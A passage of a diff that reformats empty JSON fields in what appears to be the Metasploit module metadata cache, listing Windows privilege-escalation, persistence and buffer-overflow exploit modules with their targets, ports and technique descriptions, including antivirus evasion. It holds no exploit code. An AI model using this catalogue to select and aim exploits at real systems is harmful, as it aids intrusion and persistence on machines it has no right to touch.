"autofilter_services": [], "targets": [ "Windows" ], @@ -182750,22 +162633,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/plantronics_hub_spokesupdateservice_privesc": { "name": "Plantronics Hub SpokesUpdateService Privilege Escalation", "fullname": "exploit/windows/local/plantronics_hub_spokesupdateservice_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-08-30", "type": "exploit", @@ -182782,12 +162660,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -182810,16 +162684,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/powershell_cmd_upgrade": { "name": "Windows Command Shell Upgrade (Powershell)", "fullname": "exploit/windows/local/powershell_cmd_upgrade", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1999-01-01", "type": "exploit", @@ -182827,18 +162697,12 @@ "Ben Campbell " ], "description": "This module executes Powershell to upgrade a Windows Shell session\n to a full Meterpreter session.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -182849,22 +162713,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/powershell_remoting": { "name": "Powershell Remoting Remote Command Execution", "fullname": "exploit/windows/local/powershell_remoting", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1999-01-01", "type": "exploit", @@ -182879,12 +162738,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -182895,23 +162750,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ppr_flatten_rec": { "name": "Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation", "fullname": "exploit/windows/local/ppr_flatten_rec", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2013-05-15", "type": "exploit", @@ -182936,12 +162786,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -182952,22 +162798,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ps_persist": { "name": "Powershell Payload Execution", "fullname": "exploit/windows/local/ps_persist", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-14", "type": "exploit", @@ -182976,18 +162817,12 @@ "Matt \"hostess\" Andreko" ], "description": "This module generates a dynamic executable on the session host using .NET templates.\n Code is pulled from C# templates and impregnated with a payload before being\n sent to a modified PowerShell session with .NET 4 loaded. The compiler builds\n the executable (standard or Windows service) in memory and produces a binary\n which can be started/installed and downloaded for later use. After compilation the\n PoweShell session can also sign the executable if provided a path the a .pfx formatted\n certificate.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -182998,22 +162833,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ps_wmi_exec": { "name": "Authenticated WMI Exec via Powershell", "fullname": "exploit/windows/local/ps_wmi_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-19", "type": "exploit", @@ -183021,18 +162851,12 @@ "RageLtMan " ], "description": "This module uses WMI execution to launch a payload instance on a remote machine.\n In order to avoid AV detection, all execution is performed in memory via psh-net\n encoded payload. Persistence option can be set to keep the payload looping while\n a handler is present to receive it. By default the module runs as the current\n process owner. The module can be configured with credentials for the remote host\n with which to launch the process.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -183043,22 +162867,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/pxeexploit": { "name": "PXE Exploit Server", "fullname": "exploit/windows/local/pxeexploit", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-08-05", "type": "exploit", @@ -183066,18 +162885,12 @@ "scriptjunkie" ], "description": "This module provides a PXE server, running a DHCP and TFTP server.\n The default configuration loads a linux kernel and initrd into memory that\n reads the hard drive; placing the payload on the hard drive of any Windows\n partition seen.\n\n Note: the displayed IP address of a target is the address this DHCP server\n handed out, not the \"normal\" IP address the host uses.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -183088,17 +162901,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/local/razer_zwopenprocess": { "name": "Razer Synapse rzpnk.sys ZwOpenProcess", "fullname": "exploit/windows/local/razer_zwopenprocess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-03-22", "type": "exploit", @@ -183113,12 +162923,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -183140,20 +162946,14 @@ "repeatable-session" ] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/registry_persistence": { "name": "Windows Registry Only Persistence", "fullname": "exploit/windows/local/registry_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-07-01", "type": "exploit", @@ -183161,18 +162961,12 @@ "Donny Maasland " ], "description": "This module will install a payload that is executed during boot.\n It will be executed either at user logon or system startup via the registry\n value in \"CurrentVersion\\Run\" (depending on privilege and selected method).\n The payload will be installed completely in registry.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -183183,23 +162977,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ricoh_driver_privesc": { "name": "Ricoh Driver Privilege Escalation", "fullname": "exploit/windows/local/ricoh_driver_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-01-22", "type": "exploit", @@ -183216,12 +163005,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -183247,16 +163032,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/run_as": { "name": "Windows Run Command As User", "fullname": "exploit/windows/local/run_as", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1999-01-01", "type": "exploit", @@ -183271,12 +163052,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -183287,22 +163064,17 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/s4u_persistence": { "name": "Windows Manage User Level Persistent Payload Installer", "fullname": "exploit/windows/local/s4u_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-01-02", "type": "exploit", @@ -183318,12 +163090,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -183334,22 +163102,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/service_permissions": { "name": "Windows Escalate Service Permissions Local Privilege Escalation", "fullname": "exploit/windows/local/service_permissions", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2012-10-15", "type": "exploit", @@ -183365,12 +163128,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -183381,22 +163140,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/srclient_dll_hijacking": { "name": "Windows Server 2012 SrClient DLL hijacking", "fullname": "exploit/windows/local/srclient_dll_hijacking", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-02-19", "type": "exploit", @@ -183410,12 +163164,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Server 2012 (x64)" ], @@ -183443,16 +163193,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/tokenmagic": { "name": "Windows Privilege Escalation via TokenMagic (UAC Bypass)", "fullname": "exploit/windows/local/tokenmagic", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-25", "type": "exploit", @@ -183472,12 +163218,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -183504,16 +163246,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/unquoted_service_path": { "name": "Windows Unquoted Service Path Privilege Escalation", "fullname": "exploit/windows/local/unquoted_service_path", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2001-10-25", "type": "exploit", @@ -183530,12 +163268,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -183562,16 +163296,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/virtual_box_guest_additions": { "name": "VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation", "fullname": "exploit/windows/local/virtual_box_guest_additions", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2014-07-15", "type": "exploit", @@ -183587,12 +163317,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], @@ -183603,22 +163329,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/virtual_box_opengl_escape": { "name": "VirtualBox 3D Acceleration Virtual Machine Escape", "fullname": "exploit/windows/local/virtual_box_opengl_escape", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2014-03-11", "type": "exploit", @@ -183637,12 +163358,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VirtualBox 4.3.6 / Windows 7 SP1 / 64 bits (ASLR/DEP bypass)" ], @@ -183653,22 +163370,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/vss_persistence": { "name": "Persistent Payload in Windows Volume Shadow Copy", "fullname": "exploit/windows/local/vss_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-10-21", "type": "exploit", @@ -183683,12 +163395,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Windows" ], @@ -183715,16 +163423,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/webexec": { "name": "WebEx Local Service Permissions Exploit", "fullname": "exploit/windows/local/webexec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2018-10-09", "type": "exploit", @@ -183739,12 +163443,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows x86", @@ -183757,22 +163457,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/win_error_cve_2023_36874": { "name": "Microsoft Error Reporting Local Privilege Elevation Vulnerability", "fullname": "exploit/windows/local/win_error_cve_2023_36874", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-07-11", "type": "exploit", @@ -183791,12 +163486,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -183824,16 +163515,12 @@ "powershell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/windscribe_windscribeservice_priv_esc": { "name": "Windscribe WindscribeService Named Pipe Privilege Escalation", "fullname": "exploit/windows/local/windscribe_windscribeservice_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-05-24", "type": "exploit", @@ -183850,12 +163537,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -183878,16 +163561,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/wmi": { "name": "Windows Management Instrumentation (WMI) Remote Command Execution", "fullname": "exploit/windows/local/wmi", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1999-01-01", "type": "exploit", @@ -183903,12 +163582,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -183919,22 +163594,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/wmi_persistence": { "name": "WMI Event Subscription Persistence", "fullname": "exploit/windows/local/wmi_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-06-06", "type": "exploit", @@ -183949,12 +163619,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -183965,22 +163631,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/lotus/domino_http_accept_language": { "name": "IBM Lotus Domino Web Server Accept-Language Stack Buffer Overflow", "fullname": "exploit/windows/lotus/domino_http_accept_language", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-05-20", "type": "exploit", @@ -184029,17 +163690,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/lotus/domino_icalendar_organizer": { "name": "IBM Lotus Domino iCalendar MAILTO Buffer Overflow", "fullname": "exploit/windows/lotus/domino_icalendar_organizer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-09-14", "type": "exploit", @@ -184058,12 +163716,8 @@ "platform": "Windows", "arch": "", "rport": 25, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Lotus Domino 8.5 on Windows 2000 SP4", "Lotus Domino 8.5 on Windows Server 2003 SP0", @@ -184076,17 +163730,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/lotus/domino_sametime_stmux": { "name": "IBM Lotus Domino Sametime STMux.exe Stack Buffer Overflow", "fullname": "exploit/windows/lotus/domino_sametime_stmux", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-05-21", "type": "exploit", @@ -184104,12 +163755,8 @@ "platform": "Windows", "arch": "x86", "rport": 1533, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Lotus Sametime 7.5 on Windows Server 2000 SP4", "Lotus Sametime 7.5 on Windows Server 2003 SP1", @@ -184124,17 +163771,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/lotus/lotusnotes_lzh": { "name": "Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh Attachment)", "fullname": "exploit/windows/lotus/lotusnotes_lzh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-05-24", "type": "exploit", @@ -184176,17 +163820,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/lpd/hummingbird_exceed": { "name": "Hummingbird Connectivity 10 SP5 LPD Buffer Overflow", "fullname": "exploit/windows/lpd/hummingbird_exceed", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-05-27", "type": "exploit", @@ -184202,12 +163843,8 @@ "platform": "Windows", "arch": "", "rport": 515, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 English SP0-SP4", @@ -184220,17 +163857,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/lpd/niprint": { "name": "NIPrint LPD Request Overflow", "fullname": "exploit/windows/lpd/niprint", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2003-11-05", "type": "exploit", @@ -184247,12 +163881,8 @@ "platform": "Windows", "arch": "", "rport": 515, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "NIPrint3.EXE (TDS:0x3a045ff2)", "Windows XP SP3", @@ -184265,17 +163895,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/lpd/saplpd": { "name": "SAP SAPLPD 6.28 Buffer Overflow", "fullname": "exploit/windows/lpd/saplpd", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-02-04", "type": "exploit", @@ -184291,12 +163918,8 @@ "platform": "Windows", "arch": "", "rport": 515, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "SAPlpd 6.28.0.1 (SAP Release 6.40)" ], @@ -184307,17 +163930,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/lpd/wincomlpd_admin": { "name": "WinComLPD Buffer Overflow", "fullname": "exploit/windows/lpd/wincomlpd_admin", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-02-04", "type": "exploit", @@ -184333,12 +163953,8 @@ "platform": "Windows", "arch": "", "rport": 13500, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "WinComLPD 3.0.2.623" ], @@ -184349,17 +163965,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/achat_bof": { "name": "Achat Unicode SEH Buffer Overflow", "fullname": "exploit/windows/misc/achat_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-12-18", "type": "exploit", @@ -184374,12 +163987,8 @@ "platform": "Windows", "arch": "", "rport": 9256, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1" ], @@ -184390,17 +163999,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/actfax_raw_server_bof": { "name": "ActFax 5.01 RAW Server Buffer Overflow", "fullname": "exploit/windows/misc/actfax_raw_server_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-02-05", "type": "exploit", @@ -184419,12 +164025,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ActFax 5.01 / Windows XP SP3" ], @@ -184435,17 +164037,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/agentxpp_receive_agentx": { "name": "AgentX++ Master AgentX::receive_agentx Stack Buffer Overflow", "fullname": "exploit/windows/misc/agentxpp_receive_agentx", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-04-16", "type": "exploit", @@ -184461,12 +164060,8 @@ "platform": "Windows", "arch": "", "rport": 705, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Helix Server v12 and v13 - master.exe" ], @@ -184477,17 +164072,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/ahsay_backup_fileupload": { "name": "Ahsay Backup v7.x-v8.1.1.50 (authenticated) file upload", "fullname": "exploit/windows/misc/ahsay_backup_fileupload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-06-01", "type": "exploit", @@ -184529,17 +164121,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/misc/ais_esel_server_rce": { "name": "AIS logistics ESEL-Server Unauth SQL Injection RCE", "fullname": "exploit/windows/misc/ais_esel_server_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-03-27", "type": "exploit", @@ -184553,12 +164142,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": 5099, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -184569,17 +164154,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/allmediaserver_bof": { "name": "ALLMediaServer 0.8 Buffer Overflow", "fullname": "exploit/windows/misc/allmediaserver_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-07-04", "type": "exploit", @@ -184597,12 +164179,8 @@ "platform": "Windows", "arch": "", "rport": 888, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ALLMediaServer 0.8 / Windows XP SP3 - English", "ALLMediaServer 0.8 / Windows 7 SP1 - English" @@ -184614,17 +164192,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/altiris_ds_sqli": { "name": "Symantec Altiris DS SQL Injection", "fullname": "exploit/windows/misc/altiris_ds_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-05-15", "type": "exploit", @@ -184642,12 +164217,8 @@ "platform": "Windows", "arch": "", "rport": 402, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2003 (with tftp client available)" ], @@ -184658,17 +164229,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/misc/apple_quicktime_rtsp_response": { "name": "Apple QuickTime 7.3 RTSP Response Header Buffer Overflow", "fullname": "exploit/windows/misc/apple_quicktime_rtsp_response", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-11-23", "type": "exploit", @@ -184685,12 +164253,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "QuickTime 7.3, QuickTime Player 7.3" ], @@ -184701,17 +164265,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/asus_dpcproxy_overflow": { "name": "Asus Dpcproxy Buffer Overflow", "fullname": "exploit/windows/misc/asus_dpcproxy_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-03-21", "type": "exploit", @@ -184727,12 +164288,8 @@ "platform": "Windows", "arch": "", "rport": 623, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Asus Dpcroxy version 2.00.19 Universal" ], @@ -184743,17 +164300,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/avaya_winpmd_unihostrouter": { "name": "Avaya WinPMD UniteHostRouter Buffer Overflow", "fullname": "exploit/windows/misc/avaya_winpmd_unihostrouter", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-05-23", "type": "exploit", @@ -184774,12 +164328,8 @@ "platform": "Windows", "arch": "", "rport": 3217, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Avaya WinPMD 3.8.2 / Windows XP SP3", "Avaya WinPMD 3.8.2 / Windows 2003 SP2" @@ -184791,17 +164341,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/avidphoneticindexer": { "name": "Avid Media Composer 5.5 - Avid Phonetic Indexer Buffer Overflow", "fullname": "exploit/windows/misc/avidphoneticindexer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-29", "type": "exploit", @@ -184817,12 +164364,8 @@ "platform": "Windows", "arch": "", "rport": 4659, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Professional SP3" ], @@ -184833,17 +164376,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/bakbone_netvault_heap": { "name": "BakBone NetVault Remote Heap Overflow", "fullname": "exploit/windows/misc/bakbone_netvault_heap", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-04-01", "type": "exploit", @@ -184860,12 +164400,8 @@ "platform": "Windows", "arch": "", "rport": 20031, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 SP4 English", @@ -184878,17 +164414,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/bcaaa_bof": { "name": "Blue Coat Authentication and Authorization Agent (BCAAA) 5 Buffer Overflow", "fullname": "exploit/windows/misc/bcaaa_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-04-04", "type": "exploit", @@ -184907,12 +164440,8 @@ "platform": "Windows", "arch": "", "rport": 16102, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + 